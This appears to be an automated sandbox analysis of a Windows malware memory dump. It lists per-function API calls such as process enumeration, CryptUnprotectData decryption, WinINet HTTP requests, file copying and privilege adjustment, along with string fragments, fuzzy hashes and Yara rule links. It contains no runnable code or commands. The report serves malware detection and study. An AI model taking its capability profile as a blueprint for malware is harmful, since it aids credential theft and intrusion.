,, xrefs: 00000001800A0516
H, xrefs: 00000001800A08F5
g, xrefs: 00000001800A052A
+, xrefs: 00000001800A0250
:, xrefs: 00000001800A0BEA
_, xrefs: 00000001800A0812
%, xrefs: 00000001800A082B
3, xrefs: 00000001800A0C21
>, xrefs: 00000001800A0241
q, xrefs: 00000001800A0BE5
', xrefs: 00000001800A0228
2, xrefs: 00000001800A081C
z, xrefs: 00000001800A0AFB
#, xrefs: 00000001800A0A1E
, xrefs: 00000001800A0B19
85, xrefs: 00000001800A05C3

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: $ $#$#$%$'$+$+$,$,$,$-$/$0$0$2$2$2$2$3$3$3$5$85$9$:$:$<$<$<$=$=$>$B$B$C$C$C$C$E$G$H$H$H$K$O$R$S$T$Y$Z$Z$Z$Z$[$\$]$^$_$f$g$h$n$q$q$u$v$v$z$}
API String ID: 1029625771-3348517500
Opcode ID: 28cc4aec81a11599b8621bfc1e777eb98aaac9fc46d32fc2d52dee5cde16e204
Instruction ID: dcc138073f7516d72a8089149c4bc9c27f14247848c97d46d6989224fe9f89cb
Opcode Fuzzy Hash: 28cc4aec81a11599b8621bfc1e777eb98aaac9fc46d32fc2d52dee5cde16e204
Instruction Fuzzy Hash: AC82282060C6C88AE75E977C88153EDBFD19B9A304F18915DF4C6CB397DDA9860AC712

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001F204, Relevance: 119.6, APIs: 3, Strings: 65, Instructions: 648threadCOMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 000000018001F40C
SleepEx.KERNEL32 ref: 000000018001F507

Part of subcall function 00000001800B6190: Concurrency::cancel_current_task.LIBCPMT ref: 00000001800B61C0

CreateThread.KERNEL32 ref: 000000018001F60F

Strings

,, xrefs: 000000018001F886
R, xrefs: 000000018001F772
D, xrefs: 000000018001F29F
u, xrefs: 000000018001F836
8, xrefs: 000000018001F868
W, xrefs: 000000018001F704
B, xrefs: 000000018001F768
z, xrefs: 000000018001F840
$, xrefs: 000000018001F295
N, xrefs: 000000018001F6F5
0, xrefs: 000000018001F859
`, xrefs: 000000018001F877
R, xrefs: 000000018001F277
c, xrefs: 000000018001F84A
like Gecko, xrefs: 000000018001F4A0
rs\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\, xrefs: 000000018001F53E
G, xrefs: 000000018001F71D
7, xrefs: 000000018001F76D
c, xrefs: 000000018001F881
R, xrefs: 000000018001F709
", xrefs: 000000018001F759
, xrefs: 000000018001F2AE
-, xrefs: 000000018001F70E
R, xrefs: 000000018001F740
a, xrefs: 000000018001F268
p, xrefs: 000000018001F2BD
F, xrefs: 000000018001F863
F, xrefs: 000000018001F89A
R, xrefs: 000000018001F731
g, xrefs: 000000018001F650
E, xrefs: 000000018001F713
G, xrefs: 000000018001F641
E, xrefs: 000000018001F745
/, xrefs: 000000018001F895
&, xrefs: 000000018001F8A4
1, xrefs: 000000018001F637
E, xrefs: 000000018001F75E
g, xrefs: 000000018001F6FF
f, xrefs: 000000018001F872
O, xrefs: 000000018001F845
b, xrefs: 000000018001F64B
_, xrefs: 000000018001F87C
F, xrefs: 000000018001F84F
T, xrefs: 000000018001F2C2
|, xrefs: 000000018001F27C
=, xrefs: 000000018001F6FA
D, xrefs: 000000018001F28B
g, xrefs: 000000018001F754
E, xrefs: 000000018001F722
7, xrefs: 000000018001F72C
|, xrefs: 000000018001F74A
m, xrefs: 000000018001F286
=, xrefs: 000000018001F736
x, xrefs: 000000018001F632
1, xrefs: 000000018001F63C
0, xrefs: 000000018001F272
8, xrefs: 000000018001F83B
9; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E), xrefs: 000000018001F5C9
_, xrefs: 000000018001F86D
8, xrefs: 000000018001F85E
z, xrefs: 000000018001F89F
b, xrefs: 000000018001F646
X, xrefs: 000000018001F281
_, xrefs: 000000018001F854
=, xrefs: 000000018001F74F

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: Sleep$Concurrency::cancel_current_taskCreateThread
String ID: $ like Gecko$"$$$&$,$-$/$0$0$1$1$7$7$8$8$8$9; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)$=$=$=$B$D$D$E$E$E$E$F$F$F$G$G$N$O$R$R$R$R$R$T$W$X$_$_$_$`$a$b$b$c$c$f$g$g$g$m$p$rs\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\$u$x$z$z$|$|
API String ID: 2386508084-1066571906
Opcode ID: 99de36b4c3a7335d16ca1af98c2b2ae2fc46cc2a928a9ee3e6a4816f67ec8074
Instruction ID: 9c9b0259ecfea039757f3b564af3a1c427b4ad33c8baa8d95a18271c4ea86547
Opcode Fuzzy Hash: 99de36b4c3a7335d16ca1af98c2b2ae2fc46cc2a928a9ee3e6a4816f67ec8074
Instruction Fuzzy Hash: DE32E73020CBC88AE35ADB3CD8553AA7BD1AB99344F58455DF0C6CB3D3DE6986098752

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800B5134, Relevance: 103.7, APIs: 4, Strings: 55, Instructions: 467processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00000001800B527A
Process32First.KERNEL32 ref: 00000001800B529F
Process32Next.KERNEL32 ref: 00000001800B5378
StrStrIA.SHLWAPI ref: 00000001800B55DE

Strings

v, xrefs: 00000001800B51CC
L, xrefs: 00000001800B51E0
L, xrefs: 00000001800B51A9
}, xrefs: 00000001800B519A
Y, xrefs: 00000001800B552D
^, xrefs: 00000001800B547D
!, xrefs: 00000001800B51EA
<, xrefs: 00000001800B53B3
9, xrefs: 00000001800B52B3
", xrefs: 00000001800B53C7
R, xrefs: 00000001800B54AA
v, xrefs: 00000001800B53D6
h, xrefs: 00000001800B51A4
v, xrefs: 00000001800B53D1
A, xrefs: 00000001800B54A5
A, xrefs: 00000001800B548C
A, xrefs: 00000001800B549B
5, xrefs: 00000001800B52DB
5, xrefs: 00000001800B5473
Q, xrefs: 00000001800B5550
A, xrefs: 00000001800B546E
Y, xrefs: 00000001800B553C
7, xrefs: 00000001800B5181
&, xrefs: 00000001800B5478
8, xrefs: 00000001800B51C7
a, xrefs: 00000001800B53C2
p, xrefs: 00000001800B52C2
}, xrefs: 00000001800B51E5
G, xrefs: 00000001800B5177
@, xrefs: 00000001800B52D6
V, xrefs: 00000001800B51BD
l, xrefs: 00000001800B53AE
c, xrefs: 00000001800B52B8
7, xrefs: 00000001800B51AE
l, xrefs: 00000001800B53CC
6, xrefs: 00000001800B53DB
2, xrefs: 00000001800B52D1
7, xrefs: 00000001800B5190
d, xrefs: 00000001800B52E5
5, xrefs: 00000001800B54A0
O, xrefs: 00000001800B51C2
h, xrefs: 00000001800B51B3
8, xrefs: 00000001800B53A4
], xrefs: 00000001800B53B8
!, xrefs: 00000001800B518B
I, xrefs: 00000001800B5496
Q, xrefs: 00000001800B53BD
+, xrefs: 00000001800B52C7
+, xrefs: 00000001800B52CC
4, xrefs: 00000001800B5482
n, xrefs: 00000001800B51EF
?, xrefs: 00000001800B5195
&, xrefs: 00000001800B5555
}, xrefs: 00000001800B519F
p, xrefs: 00000001800B52E0

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: Process32$CreateFirstNextSnapshotToolhelp32
String ID: !$!$"$&$&$+$+$2$4$5$5$5$6$7$7$7$8$8$9$<$?$@$A$A$A$A$G$I$L$L$O$Q$Q$R$V$Y$Y$]$^$a$c$d$h$h$l$l$n$p$p$v$v$v$}$}$}
API String ID: 1238713047-103355759
Opcode ID: 6ec06a65b153fd097265927b55af19414ba48a3ee2e15669ec99b13887627baf
Instruction ID: 62d501933c17aec2002a3e8fa0e76bc2ac895afe0dca440e26dddbf39a7ecd23
Opcode Fuzzy Hash: 6ec06a65b153fd097265927b55af19414ba48a3ee2e15669ec99b13887627baf
Instruction Fuzzy Hash: 6EF1073010C7C48EE34AD62C885975ABFD59BEA309F18556DF0C6CB393DAA9C60AC713

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800873D0, Relevance: 86.6, APIs: 5, Strings: 44, Instructions: 853fileCOMMON

Download Yara Rule

APIs

SHGetSpecialFolderPathA.SHELL32 ref: 000000018008777A
PathFileExistsA.SHLWAPI ref: 00000001800879E3
GetFileAttributesA.KERNEL32 ref: 0000000180087ABC
CloseHandle.KERNEL32 ref: 0000000180087C0B
CopyFileA.KERNEL32 ref: 0000000180087C3A

Strings

*, xrefs: 000000018008741B
R, xrefs: 00000001800879F2
_, xrefs: 0000000180087653
w, xrefs: 00000001800878E9
W, xrefs: 0000000180087635
Y, xrefs: 000000018008742A
-, xrefs: 00000001800874CB
=, xrefs: 000000018008757B
`, xrefs: 0000000180087644
R, xrefs: 00000001800874DA
i, xrefs: 0000000180087434
{, xrefs: 00000001800874EE
{, xrefs: 0000000180087580
\, xrefs: 000000018008742F
+, xrefs: 000000018008763F
B, xrefs: 00000001800874E9
b, xrefs: 00000001800874DF
`, xrefs: 0000000180087439
,, xrefs: 0000000180087443
, xrefs: 0000000180087425
1, xrefs: 0000000180087612
~, xrefs: 00000001800878EE
A, xrefs: 000000018008763A
=, xrefs: 000000018008762B
5, xrefs: 0000000180087585
O, xrefs: 00000001800878E4
?, xrefs: 00000001800874E4
E, xrefs: 000000018008761C
/, xrefs: 00000001800878F3
1, xrefs: 00000001800878D5
1, xrefs: 0000000180087617
i, xrefs: 000000018008743E
|, xrefs: 00000001800878DF
3, xrefs: 0000000180087621
@?), xrefs: 0000000180087599
:, xrefs: 00000001800879FC
~, xrefs: 00000001800878C6
y, xrefs: 000000018008758A
`, xrefs: 000000018008764E
,, xrefs: 00000001800878D0
), xrefs: 00000001800874D0
A, xrefs: 00000001800879F7
5, xrefs: 000000018008758F
U, xrefs: 0000000180087416

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: File$Path$AttributesCloseCopyExistsFolderHandleSpecial
String ID: $)$*$+$,$,$-$/$1$1$1$3$5$5$:$=$=$?$@?)$A$A$B$E$O$R$R$U$W$Y$\$_$`$`$`$b$i$i$w$y${${$|$~$~
API String ID: 669670190-3969776985
Opcode ID: 7acd860bddff8406f3037634200c07c654a13bbd84dc7aab225171863012ded1
Instruction ID: f421dc8549f42a013748f091a0b4b9db14b705acc3c0ef18a374f3b744cf8b47
Opcode Fuzzy Hash: 7acd860bddff8406f3037634200c07c654a13bbd84dc7aab225171863012ded1
Instruction Fuzzy Hash: 1F5226302186884AE75A9678CC153EEBBD5FB9A340F18816DF0C6CB2D7DE64C70AC752

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001EC6C, Relevance: 79.3, APIs: 1, Strings: 44, Instructions: 532COMMON

Download Yara Rule

APIs

ProcessIdToSessionId.KERNEL32 ref: 000000018001F099

Strings

P, xrefs: 000000018001F122
, xrefs: 000000018001EE59
9, xrefs: 000000018001EE22
F, xrefs: 000000018001EE0E
,, xrefs: 000000018001F0FF
f, xrefs: 000000018001EE13
b, xrefs: 000000018001ECA8
1, xrefs: 000000018001ECC6
+, xrefs: 000000018001F127
:, xrefs: 000000018001ED8A
S, xrefs: 000000018001ECB2
S, xrefs: 000000018001ECC1
_, xrefs: 000000018001ECD0
1, xrefs: 000000018001ECAD
V, xrefs: 000000018001EF51
p, xrefs: 000000018001ED71
t, xrefs: 000000018001EE27
P, xrefs: 000000018001F113
8, xrefs: 000000018001EF5B
', xrefs: 000000018001EE31
p, xrefs: 000000018001ED62
^, xrefs: 000000018001EE45
s, xrefs: 000000018001F118
s, xrefs: 000000018001F0F5
L, xrefs: 000000018001EF65
G, xrefs: 000000018001EE4F
3, xrefs: 000000018001ED6C
,, xrefs: 000000018001ECCB
e, xrefs: 000000018001ED85
t, xrefs: 000000018001EE2C
1, xrefs: 000000018001EE5E
X, xrefs: 000000018001ECBC
, xrefs: 000000018001EE3B
_,1S, xrefs: 000000018001ED93
t, xrefs: 000000018001EE40
!, xrefs: 000000018001F0FA
,, xrefs: 000000018001EE1D
e, xrefs: 000000018001ED67
?, xrefs: 000000018001ED76
P, xrefs: 000000018001F109
,, xrefs: 000000018001EE36
?, xrefs: 000000018001ED80
r, xrefs: 000000018001F10E
k, xrefs: 000000018001EE54

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: ProcessSession
String ID: $ $!$'$+$,$,$,$,$1$1$1$3$8$9$:$?$?$F$G$L$P$P$P$S$S$V$X$^$_$_,1S$b$e$e$f$k$p$p$r$s$s$t$t$t
API String ID: 3779259828-4035575506
Opcode ID: 90ad239ca96041d0bd8ee69a1351cff83b7c88d7ed36b45acb782a9d1d545530
Instruction ID: bdab6e333da4e4f9cfd8b07188e8aebff76b7c6b61c0aa54b3f7365ea56c7e84
Opcode Fuzzy Hash: 90ad239ca96041d0bd8ee69a1351cff83b7c88d7ed36b45acb782a9d1d545530
Instruction Fuzzy Hash: 6502F63020C7C84AE75AA67C88153DEBFD5EBAA304F18556DF0C6CB383DE65C60A8752

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014030, Relevance: 75.4, APIs: 4, Strings: 38, Instructions: 1880networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET ref: 000000018001414C
InternetConnectA.WININET ref: 0000000180014283
HttpSendRequestExA.WININET ref: 0000000180014D38

Strings

H, xrefs: 000000018001465A
j, xrefs: 0000000180014084
s, xrefs: 000000018001408E
=, xrefs: 00000001800142C5
:, xrefs: 0000000180014798
B, xrefs: 0000000180014070
s, xrefs: 000000018001407F
|, xrefs: 0000000180014650
:, xrefs: 000000018001479D
w, xrefs: 0000000180014646
c, xrefs: 0000000180014089
p, xrefs: 0000000180014641
=, xrefs: 00000001800142CA
c, xrefs: 0000000180014075
_, xrefs: 00000001800142D9
F, xrefs: 0000000180014793
:, xrefs: 00000001800142DE
S, xrefs: 0000000180014628
p, xrefs: 0000000180014632
N, xrefs: 00000001800147BB
_, xrefs: 00000001800142E3
., xrefs: 0000000180014093
', xrefs: 000000018001409D
4, xrefs: 00000001800140AC
\, xrefs: 000000018001462D
w, xrefs: 0000000180014637
(, xrefs: 00000001800142C0
s, xrefs: 00000001800140A2
), xrefs: 00000001800142E8
A, xrefs: 00000001800147B1
c, xrefs: 00000001800140A7
6, xrefs: 00000001800142CF
a, xrefs: 00000001800140B1
4, xrefs: 00000001800147AC
w, xrefs: 00000001800147B6
&, xrefs: 000000018001463C
., xrefs: 000000018001407A
&, xrefs: 000000018001465F

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: Internet$ConnectHttpOpenRequestSend
String ID: &$&$'$($)$.$.$4$4$6$:$:$:$=$=$A$B$F$H$N$S$\$_$_$a$c$c$c$j$p$p$s$s$s$w$w$w$|
API String ID: 1155961805-739321623
Opcode ID: c8415c987d91f51a8a996dee2bcc55a294a90d98bda1223e7b8e4c55c77d10ac
Instruction ID: fc1b530ee09e61392f8742b8fb1f4343b258b29c5a50f6be1723b73c6179babe
Opcode Fuzzy Hash: c8415c987d91f51a8a996dee2bcc55a294a90d98bda1223e7b8e4c55c77d10ac
Instruction Fuzzy Hash: 6EE2F8306086CC8AEB5ADB6CCC557DD7FD5EBA6304F08805DE4CACB292DE75860AC752

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800A114C, Relevance: 35.3, APIs: 2, Strings: 18, Instructions: 298libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00000001800A123B
SleepEx.KERNEL32 ref: 00000001800A126B

Strings

u, xrefs: 00000001800A139C
d, xrefs: 00000001800A11A0
@, xrefs: 00000001800A138D
o, xrefs: 00000001800A1379
@, xrefs: 00000001800A136F
=, xrefs: 00000001800A1187
8, xrefs: 00000001800A11A5
y, xrefs: 00000001800A1182
o, xrefs: 00000001800A1388
C, xrefs: 00000001800A119B
i, xrefs: 00000001800A11B9
G, xrefs: 00000001800A1191
, xrefs: 00000001800A1196
i, xrefs: 00000001800A11B4
', xrefs: 00000001800A11AA
@, xrefs: 00000001800A137E
Q, xrefs: 00000001800A118C
L, xrefs: 00000001800A11AF

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: LibraryLoadSleep
String ID: $'$8$=$@$@$@$C$G$L$Q$d$i$i$o$o$u$y
API String ID: 2118945035-1786496634
Opcode ID: 051696cff87d7ab7b5ef375d2987e28f60e5ab3221fa999b56562a9fefea94e3
Instruction ID: 01d977901a0e41967f358fcd305cdacca18bdf8e762ab3ca9ced681c1b7a275a
Opcode Fuzzy Hash: 051696cff87d7ab7b5ef375d2987e28f60e5ab3221fa999b56562a9fefea94e3
Instruction Fuzzy Hash: 8FB13C3020C7884FE79AEB28C8547EEBBD5EB99345F44452DF486C7292DE78C645C742

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800836A4, Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 270COMMON

Download Yara Rule

Strings

gfff, xrefs: 000000018008392D

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID:
String ID: gfff
API String ID: 0-1553575800
Opcode ID: 187d29c8681b03475db8ebaf69fe725e32643e4739d4e22ea69acc43288d4834
Instruction ID: 94b83beb2bf653e777ee7129a576fc6561059600d62136bad5cb5ec875584859
Opcode Fuzzy Hash: 187d29c8681b03475db8ebaf69fe725e32643e4739d4e22ea69acc43288d4834
Instruction Fuzzy Hash: 39A14070614A0D8BF7DADF19EC567A576A1F7DCB40F50802AE48AC22A5DF78DB08CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800B4E1C, Relevance: 3.1, APIs: 2, Instructions: 135COMMON

Download Yara Rule

APIs

LookupPrivilegeValueA.ADVAPI32 ref: 00000001800B4F21
AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?,?,2D40B8E9,000000018001F50E), ref: 00000001800B4F5A

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: AdjustLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 3615134276-0
Opcode ID: 1eeca1234e6f11fbbc2299373e1ce4f70c8365b257375a4f33b543f95246ef23
Instruction ID: c430cb8e300129aaa00a8f2782569a6e55fc1840b64b19c75202198471329ab2
Opcode Fuzzy Hash: 1eeca1234e6f11fbbc2299373e1ce4f70c8365b257375a4f33b543f95246ef23
Instruction Fuzzy Hash: B0412B30A0858D4BEB49DBBCC8557EEBFE5AB59344F048069E485DB2C3DA78C709C751

Uniqueness

Uniqueness Score: -1.00%

Function 000000018008B874, Relevance: 1.8, APIs: 1, Instructions: 269fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 000000018008BAEE

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bed2dfa52f1e27d41318aa42393faeec45ca1491f8ce421492b343ac717c7c91
Instruction ID: 193e3d2bb528d760c4dd40c56a9c88bc1e5d89fbd6ab1f0adaa0d46ccd6249ec
Opcode Fuzzy Hash: bed2dfa52f1e27d41318aa42393faeec45ca1491f8ce421492b343ac717c7c91
Instruction Fuzzy Hash: 4C71871176848A0BDB0C5A3C5E2737D6EEE939E201728A27DF8D7CF3D6E418C6075654

Uniqueness

Uniqueness Score: -1.00%

Function 000000018008C5F4, Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32(?,?,?,?,?,?,?,000000018001EC91), ref: 000000018008C773

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 84be0421cbf5acf0ad771546f36f8af3bfcacef62bf1e8028b4e9d3debe79b88
Instruction ID: ce59ea9986ab8a0bc9bf9900ca2d5f93a85c8371926a20d81097b0dfbd50a073
Opcode Fuzzy Hash: 84be0421cbf5acf0ad771546f36f8af3bfcacef62bf1e8028b4e9d3debe79b88
Instruction Fuzzy Hash: D441A31136858607DB0C693C5E671397EEED2DF20572CA23EF9D3CA3E6E418CA079651

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800B4D04, Relevance: 1.6, APIs: 1, Instructions: 120COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32(?,?,?,?,?,?,00000010,000000018001106B), ref: 00000001800B4D65

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: a532d067f469abca09679ad21a1de293cbcc718b9115ca9e89b16f033f0e5d9c
Instruction ID: 303ba5389243f533602c5bedc674845924fee63617ac226c69777cb1ed2c1b49
Opcode Fuzzy Hash: a532d067f469abca09679ad21a1de293cbcc718b9115ca9e89b16f033f0e5d9c
Instruction Fuzzy Hash: EE31E631228A494BE36ECF2DD841767B3DAE78A305F60913DE4D3C768ACE35A5178B44

Uniqueness

Uniqueness Score: -1.00%

Function 000000018008B68C, Relevance: 1.6, APIs: 1, Instructions: 114encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32 ref: 000000018008B795

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 5854d715cf6ac2193f6518fc749f6f130ccf4d3929ab824f4a374f63f5de65e8
Instruction ID: f5312d2863b75a41963876f5797e6c949fb3ad6885ed2d372be4ff04a6a5fb73
Opcode Fuzzy Hash: 5854d715cf6ac2193f6518fc749f6f130ccf4d3929ab824f4a374f63f5de65e8
Instruction Fuzzy Hash: 7741FC2090C6CD8FEB09CA6CD8093BEBFE5DBA9308F18405DD4C9D7293C6B986458751

Uniqueness

Uniqueness Score: -1.00%

Function 000000018008BF24, Relevance: 1.5, APIs: 1, Instructions: 261COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 000000018008C17A

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 47e5e3149bad94f80b2afd2da241937b54dfa8e4b68ce0f736bea342e83fd6d1
Instruction ID: a3e7532e0f7f82a6bea8d3e954c10fc88d48e974d019da49e3c1e43982c8ea5d
Opcode Fuzzy Hash: 47e5e3149bad94f80b2afd2da241937b54dfa8e4b68ce0f736bea342e83fd6d1
Instruction Fuzzy Hash: 3671A00176848A0B8F0C593C5E672797EEE829E20172CA27EF8C7CF3E6E418D7039251

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015BB8, Relevance: 33.4, APIs: 1, Strings: 18, Instructions: 185COMMON

Download Yara Rule

APIs

ObtainUserAgentString.URLMON ref: 0000000180015CEA

Strings

E, xrefs: 0000000180015BEE
+, xrefs: 0000000180015C25
., xrefs: 0000000180015C4D
~, xrefs: 0000000180015C0C
., xrefs: 0000000180015C07
>, xrefs: 0000000180015C02
g, xrefs: 0000000180015C3E
q, xrefs: 0000000180015BFD
T, xrefs: 0000000180015C1B
., xrefs: 0000000180015C2F
T, xrefs: 0000000180015C43
+, xrefs: 0000000180015C52
k, xrefs: 0000000180015C39
>, xrefs: 0000000180015C48
g, xrefs: 0000000180015BF8
?, xrefs: 0000000180015C20
g, xrefs: 0000000180015C34
;, xrefs: 0000000180015BF3

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: AgentObtainStringUser
String ID: +$+$.$.$.$;$>$>$?$E$T$T$g$g$g$k$q$~
API String ID: 2681117516-3622583065
Opcode ID: adbb1fdb78332b7757ab009f9e546a9c6221e3254b163f2332e71dbd0f3e59ab
Instruction ID: 5c2b77b3221c7fb8b05ae25e9ada0c7ea1aae3a09302880721bd3cd4c897e573
Opcode Fuzzy Hash: adbb1fdb78332b7757ab009f9e546a9c6221e3254b163f2332e71dbd0f3e59ab
Instruction Fuzzy Hash: D761F92010C7C88FD75ADB28C8447DA7FC5ABA9309F18865DF4CACB296DAB59309C752

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015B91, Relevance: 31.7, APIs: 1, Strings: 17, Instructions: 189COMMON

Download Yara Rule

APIs

ObtainUserAgentString.URLMON ref: 0000000180015CEA

Strings

+, xrefs: 0000000180015C25
., xrefs: 0000000180015C4D
~, xrefs: 0000000180015C0C
., xrefs: 0000000180015C07
>, xrefs: 0000000180015C02
g, xrefs: 0000000180015C3E
q, xrefs: 0000000180015BFD
T, xrefs: 0000000180015C1B
., xrefs: 0000000180015C2F
T, xrefs: 0000000180015C43
+, xrefs: 0000000180015C52
k, xrefs: 0000000180015C39
>, xrefs: 0000000180015C48
g, xrefs: 0000000180015BF8
?, xrefs: 0000000180015C20
g, xrefs: 0000000180015C34
;, xrefs: 0000000180015BF3

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: AgentObtainStringUser
String ID: +$+$.$.$.$;$>$>$?$T$T$g$g$g$k$q$~
API String ID: 2681117516-2321767052
Opcode ID: f1f1eadbc74fd118cb511418162be39f8b8a1fb2087085edd1f17d2500d245a3
Instruction ID: 5c7070e1aaac4450d31e3533585795fd5ab6876cae791bfb85fce867b42f93c5
Opcode Fuzzy Hash: f1f1eadbc74fd118cb511418162be39f8b8a1fb2087085edd1f17d2500d245a3
Instruction Fuzzy Hash: 2771182110C6C48FE71AD728C8447DA7FC5ABAA308F18965DF4CA8F293DA759309C352

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800048DC, Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 101libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 000000018000499B
_onexit.LIBCMT ref: 00000001800B617C

Strings

/, xrefs: 0000000180004901
@, xrefs: 0000000180004915
S, xrefs: 00000001800048F1
s, xrefs: 00000001800048ED
d, xrefs: 00000001800048FD
Y, xrefs: 0000000180004905
I, xrefs: 000000018000490D
I, xrefs: 00000001800048F5
I, xrefs: 00000001800048F9
I, xrefs: 0000000180004911

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: LibraryLoad_onexit
String ID: /$@$I$I$I$I$S$Y$d$s
API String ID: 3991507780-957098669
Opcode ID: e9df4975f3c8551b84556baf015b556bb6a926036855bdfaba3e1e15ab6ceae0
Instruction ID: 99d46ae48cd62992315929ba0c96e3cedb9b63f74b8a8bbb38a9b91dfbec32c3
Opcode Fuzzy Hash: e9df4975f3c8551b84556baf015b556bb6a926036855bdfaba3e1e15ab6ceae0
Instruction Fuzzy Hash: A5317A20C184CC8EEB0997B898193FD7FE4E766305F18C0AAD8C6DF2D2E9BC42068351

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004528, Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 99libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00000001800045E3
_onexit.LIBCMT ref: 00000001800B617C

Strings

Q, xrefs: 0000000180004555
K, xrefs: 0000000180004559
a, xrefs: 000000018000453D
H, xrefs: 0000000180004541
E, xrefs: 0000000180004545
V, xrefs: 0000000180004549
K, xrefs: 000000018000455D
7, xrefs: 000000018000454D
:, xrefs: 0000000180004551
J, xrefs: 0000000180004535

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: LibraryLoad_onexit
String ID: 7$:$E$H$J$K$K$Q$V$a
API String ID: 3991507780-3927439920
Opcode ID: 196708e6391c4c6f4af07a4a9ad2b47e674bebf13d4ab9cada5295bf446eae5f
Instruction ID: 06b45fbbce3a1a820c82f3e77f92c7a751960a82c36ad25253c437595d3cdf0f
Opcode Fuzzy Hash: 196708e6391c4c6f4af07a4a9ad2b47e674bebf13d4ab9cada5295bf446eae5f
Instruction Fuzzy Hash: 7F315C20D585CC8AEB0D97B888193ED7FE5D766309F18C0AAD4C6DA2D2E9BD43468351

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004AAC, Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 98libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000000180004B63
_onexit.LIBCMT ref: 00000001800B617C

Strings

K, xrefs: 0000000180004AD5
N, xrefs: 0000000180004AE1
Z, xrefs: 0000000180004AC1
E, xrefs: 0000000180004AD1
0, xrefs: 0000000180004AC9
L, xrefs: 0000000180004AC5
[, xrefs: 0000000180004AB9
>, xrefs: 0000000180004ACD
Z, xrefs: 0000000180004AD9
Z, xrefs: 0000000180004ADD

